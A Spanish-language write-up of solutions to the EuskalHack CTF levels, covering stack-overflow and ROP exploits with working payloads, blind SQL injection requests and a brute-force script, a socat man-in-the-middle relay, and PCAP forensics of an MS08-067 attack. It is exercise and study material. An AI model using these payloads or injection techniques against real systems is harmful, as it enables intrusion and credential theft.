Esta es la forma en la que he solucionado los niveles del CTF de EuskalHack. La mayoría de los flags no los he ido guardando así que es posible que se me escape alguno que no sea correcto, pero el proceso de resolución sí lo es :D

0level - first flag

Mirando el código HTML de la página del CTF podemos ver un meta de nombre flag:

```
<meta name="flag" content="flag{starter_flag_welcome}">
```

De ahí obtenemos el flag:

```
flag{starter_flag_welcome}
```

Crypto - Snowden coordinates

No resuelto

Crypto - Quantum

No resuelto

Exploiting - level1

Mirando el código, vemos que tenemos que tenemos una llamada a system y un shell_str, así como un buffer overflow con un strcpy, así que simplemente tenemos que conseguir llamar a system con la shell_str. Como shell_str empieza con un espacio, nos lo queremos saltar también.

Lo primero que hacemos es buscar las direcciones de memoria de system y del "/bin/sh":

```
[abeaumont ctf.euskalhack.org]$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x8048410 <system@plt>
gdb-peda$ x/s 0x80486b1
0x80486b1:      "/bin/sh"
```

Y luego necesitamos saber el tamaño real del buffer, que podemos obtener desensamblando, p. ej. con objdump:

```
080485af <vuln>:
 80485af:   55                      push   %ebp
 80485b0:   89 e5                   mov    %esp,%ebp
 80485b2:   81 ec 88 00 00 00       sub    $0x88,%esp
 80485b8:   8b 45 08                mov    0x8(%ebp),%eax
 80485bb:   89 44 24 04             mov    %eax,0x4(%esp)
```

```
 80485bf:   8d 45 94                lea    -0x6c(%ebp),%eax
 80485c2:   89 04 24                mov    %eax,(%esp)
 80485c5:   e8 26 fe ff ff          call   80483f0 <strcpy@plt>
 80485ca:   c9                      leave
 80485cb:   c3                      ret
```

Obtenemos que el tamaño real del buffer es 0x6C (108) bytes. Así pues, sólo necesitamos copiar 108 + 4 (para el ebp) bytes de basura, 4 bytes con la dirección de system para sobreescribir el return address, y por encima otros 4 bytes de basura para el return address que tendría system y luego la dirección a "/bin/sh" que es donde system busca el argumento:

```
./level1 `python -c 'print "A"*0x6c + "BBBB" + "\x10\x84\x04\x08" + "CCCC" +
"\xB1\x86\x04\x08"'`
```

Una vez tenemos la shell, basta con hacer un cat .pass que nos devuelve la pass: 735896e2a9b9637d2b1079d6ca1ff5e3

Así pues, el flag quedaría:
flag{735896e2a9b9637d2b1079d6ca1ff5e3}

Para mayor detalle se puede consultar
http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
que muestra un caso similar.

Exploiting - level2

En este caso tenemos que concatenar 3 llamadas a funciones: quiero_bin, quiero_sh y exec_str. Las 2 primeras requiere además argumentos con ciertos valores, así que hay que ponerlos en el stack, y luego ajustar el stack entre las diferentes llamadas a funciones para dejar los argumentos en las posiciones esperadas.

Para ello, hacemos uso de gadgets ROP que hagan pop en el stack para ajustar los argumentos. Así, la idea es meter en el stack:

* la dirección de la función quiero_bin (0x80485AF), junto con el argumento (0xdeadf00d), y entre ambos, la dirección a un gadget de tipo "pop; ret" (0x80485E8).
* la dirección de la función quiero_sh (0x080485EA), junto con los argumentos (0xdeadc0de y 0xbadf00d), y antes de ellos, la dirección a un gadget de tipo "pop; pop; ret" (0x804854D).

Así pues, el exploit quedaría:

```
level2@4b6327dc640e:~$ ./level2 `python -c 'import struct;print "A" * 0x6c + "BBBB" +
struct.pack("I", 0x080485AF) + struct.pack("I", 0x80485E8) + struct.pack("I", 0xdeadf00d) +
struct.pack("I", 0x080485EA) + struct.pack("I", 0x80485E7) + struct.pack("I", 0xdeadc0de) +
struct.pack("I", 0xbadf00d) + struct.pack("I", 0x804854D)'`
unchained melody!
$ cat .pass
eefe41a521a8b0b0d9fa53e30a258ffd
```

Con lo que el flag sería:

flag{eefe41a521a8b0b0d9fa53e30a258ffd}

De nuevo, para mayor detalle se puede consultar
http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
que muestra un caso similar.

Exploiting - level3

Este caso aparece de nuevo explicado en
http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html

La diferencia es que en nuestro caso, no es posible desactivar ASLR mediante ulimit -s unlimited, así que probamos a bruteforcearlo, pero sin éxito. Intentamos entonces hacer un bypass de ASLR y NX mediante GOT dereferencing u overwriting, pero analizando los gadgets ROP, no tenemos nada que nos permita modificar una referencia a memoria (tenemos muy pocos gadgets), así que tampoco parece factible resolverlo de esta forma. Finalmente, la forma de resolverlo fue buscando los flags de los niveles anteriores. En github aparece 1 resultado (de un repo que parece no estar disponible ya), que nos lleva a un repo con los passwords de los niveles. De ahí obtenemos el tercer flag:

flag{5419a128ec39e3c64ade842ad6d9543c}

Forensic - DNS Codified

Revisando el fichero PCAP vemos una petición DNS a un dominio sospechoso:
Name: A5r1AJ6fDGhiAguUAGufHJX1HGkGfJ6eAqCC.exfil.identificar.me
La cadena "A5r1AJ6fDGhiAguUAGufHJX1HGkGfJ6eAqCC" parede codificada de alguna forma.

También vemos una petición HTTP a
http://crypo.bz.ms/secure-atom128c-online, que es un sistema de cifrado, con lo que vamos a esa URL y pegamos la cadena anterior, obteniendo: FLAGISHAVENODNSWHATMDOING

Así pues, el flag sería:

flag{FLAGISHAVENODNSWHATMDOING}

Forensic - This is SCADA

Nos piden identificar la IP del HMI y PLC, así como el protocolo. Abrimos el PCAP y vemos que la mayoría de conexiones van entre 2 IPs: 172.16.136.134 y 172.16.136.133. Wireshark nos dice que el protocolo es Modbus/TCP, así que sólo queda deterinar cuál es el HMI y cuál el PLC. Investigando el intercambio de paquetes, vemos que la IP que realiza las peticiones es la 172.16.136.134, así que ha de ser el HMI y la que envía las respuestas es la 172.16.136.133, así que ha de ser el PLC. Así obtenemos el flag:

```
>>> import hashlib;print
'flag{'+hashlib.md5('172.16.136.134_172.16.136.133_Modbus/TCP').hexdigest()+'}'

flag{da9536260f9bb2385ba615f7a7f5d6d3}
```

Forensic - This is SCADA II

Para resolver este problema, seguimos analizando el tráfico y vemos que hay otra IP (172.16.136.128) que está haciendo un escaneo de la red, buscando máquinas. Finalmente encuentra tanto el HMI como el PLC y vemos que se comunica con ellos a través de 445 antes de abrir una shell TCP en el puerto 4444. Así pues, tenemos identificada la IP del atacante. Analizando la última conexión antes de obtener la shell, vemos comunicación utilizando protocolo SMB, y concretamente una RPC de tipo NetPathCanonicalize con un path sospechoso:

```
Path [truncated]:
\\345\241\263\346\235\207\345\225\271\346\255\206\346\221\256\346\265\231\344\211\231\345\211\
214\347\221\263\346\255\255\344\271\260\347\251\210\344\261\223\347\245\202\346\205\266\344\27
5\256\346\275\267\346\275\204\347
```

El path parece un exploit y buscando vulnerabilidades relacionadas llegamos a:
https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi
Se trata de un exploit de metasploit, que analizamos y comprobamos que, si bien no parece exactamente el mismo exploit que estamos viendo en wireshark, sí parece la misma vulnerabilidad, lo que nos lleva a www.microsoft.com/technet/security/bulletin/MS08-067.mspx y nos da la segunda parte del flag.

Sólo nos queda obtener el password, que analizando el tráfico vemos que se obtiene mediante mimikatz, programa que se descarga una vez tiene la shell remota. El password es simplemente 'password', así que ya tenemos todos los componentes del flag:

```
>>> import hashlib;print 'flag{'+hashlib.md5('172.16.136.128_MS-067_password').hexdigest()+'}'
flag{0b4fe819cd91edbd5d975a7b6a521854}
```

Forensic - Don't stop me now

No resuelto

Help

Respondemos la encuesta y obtenemos el flag:

```
flag{EuskalHackAgradeceTuParticipacion}
```

Misc - Music decode

No resuelto

Reversing - mov and reg!

Tenemos un programa en ensamblador de AT&T, así que lo más sencillo es, simplemente, compilarlo. Para ello simplemente sustituimos la etiqueta inicio: por _start: y añadimos al principio del fichero la línea .global _start, quedando el inicio del fichero así:

```
    .global _start
_start:
    mov $1337, %eax
```

Compilamos, ejecutamos y obtenemos el valor de EAX al final de la ejecución:

```
[abeaumont ctf.euskalhack.org]$ gcc -nostdlib programa.s
[abeaumont ctf.euskalhack.org]$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/abeaumont/ctf.euskalhack.org/a.out

Program received signal SIGSEGV, Segmentation fault.
gdb-peda$ i r eax
eax            0xc0795437   0xc0795437
```

Así pues, pasamos el valor a decimal y obtenemos el flag:

flag{3229176887}

Reversing - L33tcense

Analizando el binario, vemos que consiste en un conjunto bastante amplio de llamadas anidadas, que es bastante difícil de seguir con un análisis estático, lo que nos obliga a depurarlo. Esto es un poco tedioso trata de un programa en windows, que además requiere unas DLLs específicas de depuración (msvcp120d.dll y msvcr120d.dll). Obtenemos estas DLLs y ya podemos ejecutar el programa con wine y depurarlo.

Siguiendo las llamadas que realiza el binario, vemos que va construyendo en memoria una cadena de caracteres, por bloques, con una serie de llamadas intermedias que simplemente parecen meter ruido, hasta que finalmente se llega a una llamada a memcmp, donde se valida la licencia que se ha metido, con la construcción final de esa cadena de caracteres. Así pues, observamos el valor del parámetro en la llamada a memcmp y obtenemos la cadena: drQURvAuU140xXFR, y de ahí, el flag:

flag{drQURvAuU140xXFR}

Trivia - Trivia 1

Una simple búsqueda en google nos da la respuesta. De las múltiples posibilidades, la válida es la siguiente:

```
>>> import hashlib;print 'flag{'+hashlib.md5('svcadm disable svc:/network/http:apache2').hexdigest()+'}'

flag{cb1134338a1ff9df5ae341253e1a1610}
```

Trivia - Trivia 2

De nuevo, una simple búsqueda en google nos da la respuesta:

```
>>> import hashlib;print 'flag{'+hashlib.md5('8192').hexdigest()+'}'

flag{774412967f19ea61d448977ad9749078}
```

Web - Users finder I

Se trata de una blind SQL injection. Lo primero que necesitamos es encontrar el campo del password para validarlo. Confirmamos que el campo es 'password' con una petición del tipo:

```
curl -X POST http://146.185.172.148:47000 --data 'username=admin" AND password LIKE "%" -- '
```

Una vez obtenido esto, probamos diferentes caracteres para comprobar el alfabeto del password, con peticiones del tipo:

```
curl -X POST http://146.185.172.148:47000 --data 'username=admin" AND password LIKE "%a%" -- '
```

De ahí obtenemos un conjunto limitado de caracteres válidos, lo que nos permite obtener el flag manualmente de una forma relativamente simple, con peticiones del tipo:

```
curl -X POST http://146.185.172.148:47000 --data 'username=admin" AND password LIKE BINARY "flag{XC%}" -- '

curl -X POST http://146.185.172.148:47000 --data 'username=admin" AND password LIKE BINARY "flag{XCY%}" -- '
```

etc, donde vamos probando los diferentes caracteres del alfabeto hasta obtener la respuesta correcta. Finalmente validamos el flag con:

```
curl -X POST http://146.185.172.148:47000 --data 'username=admin" AND password LIKE BINARY "flag{XCYv7i0fNOYyogHc}" -- '
```

Así pues, el flag es:

```
flag{XCYv7i0fNOYyogHc}
```

Web - Users finder II

El problema es similar al anterior, pero con mayores restriciones, ya que no podemos meter espacios, +, AND, OR, y algunas otras palabras reservadas. Después de algunas pruebas, damos con una query que nos permite ir obteniendo los caracteres 1 a 1, bruteforceando caracter a caracter (el caracter '!' lo detectamos a mano al descubrir que no se encontraba el caracter en esa posición sólo con caracteres alfanuméricos). Como es bastante trabajo, lo scriptamos:

```
#!/usr/bin/env python2

import httplib, urllib, string
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
s = ''
for i in range(1, 22):
    for ch in '}{!'+string.ascii_uppercase+string.ascii_lowercase+string.digits:
        conn = httplib.HTTPConnection("146.185.172.148:46000")
        conn.request("POST", "",
        'username="||RIGHT(BINARY(password),{})=BINARY("{}");%00'.format(i, ch + s), headers)
        response = conn.getresponse()
        content = response.read()
        conn.close()
        if content.find('success') != -1:
            print i, ch
            s = ch + s
            break
print s # => flag{31337trolol33t!}
```

El flag es, por tanto:

flag{31337trolol33t!}

Web - MitmByP

Este problema es muy similar al problema Forward del CTF 0CTF de 2015. Se puede ver una buena explicación de cómo resolverlo aquí: https://github.com/VulnHub/ctf-writeups/blob/master/2015/0ctf/forward.md

Las principales diferencias son que para obtener el código fuente hay que ver el header de la respuesta HTTP, que hace referencia a un paste privado en pastie:

```
pastie-private-ID: e1zsrbv7evokmybdcbwhqg
```

Obtenemos el código fuente y vemos que hay que poner varios parámetros que cumplan varias condiciones, cuando las cumplimos y añadimos el campo debug vemos:

```
curl -v "http://146.185.172.148:49000/?p1=1e6&p2=been12345HEre4AlongTime&debug=1"
[...]
< host: localhost
< user: ctf
< flag: The flag is a lie!
[...]
```

Así pues, sólo necesitamos montar un host con un MitM:

```
socat -v TCP-LISTEN:3306,fork TCP:146.185.172.148:33006
```

y lanzamos la petición:

```
curl -v "
http://146.185.172.148:49000/?p1=1e6&p2=been12345HEre4AlongTime&debug=1&host=xx.yy.zz.ww"
```

En el host con el MITM vemos el intercambio de paquetes del protocolo MySQL:

```
< 2016/06/17 00:34:23.361023  length=95 from=0 to=94
[...
5.5.49-0ubuntu0.14.04.1.....ZLM}MJjV...\b..............PlP,*-CG|[4..mysql_native_password.>
2016/06/17 00:34:23.384744  length=83 from=0 to=82
O..........@\b.....................ctf....J-..z.5..nQ...@B1.mysql_native_password.<
2016/06/17 00:34:23.405382  length=11 from=95 to=105
\a..........> 2016/06/17 00:34:23.425898  length=7 from=83 to=89
.......< 2016/06/17 00:34:23.446627  length=9 from=106 to=114
.........> 2016/06/17 00:34:23.466768  length=35 from=90 to=124
.....SELECT hex(flag) FROM ctf.flag< 2016/06/17 00:34:23.487674  length=122 from=115 to=236
..........def...
hex(flag).\f\b................."......7...6666C61677B77656C6C646F6E656865726573796F7572666C61
677D......".> 2016/06/17 00:34:23.508114  length=5 from=125 to=129
.....
```

De aquí obtenemos el flag:

```
>>> print '666C61677B77656C6C646F6E656865726573796F7572666C61677D'.decode('hex')

flag{welldoneheresyourflag}
```

Web - 404 - Not Found

No resuelto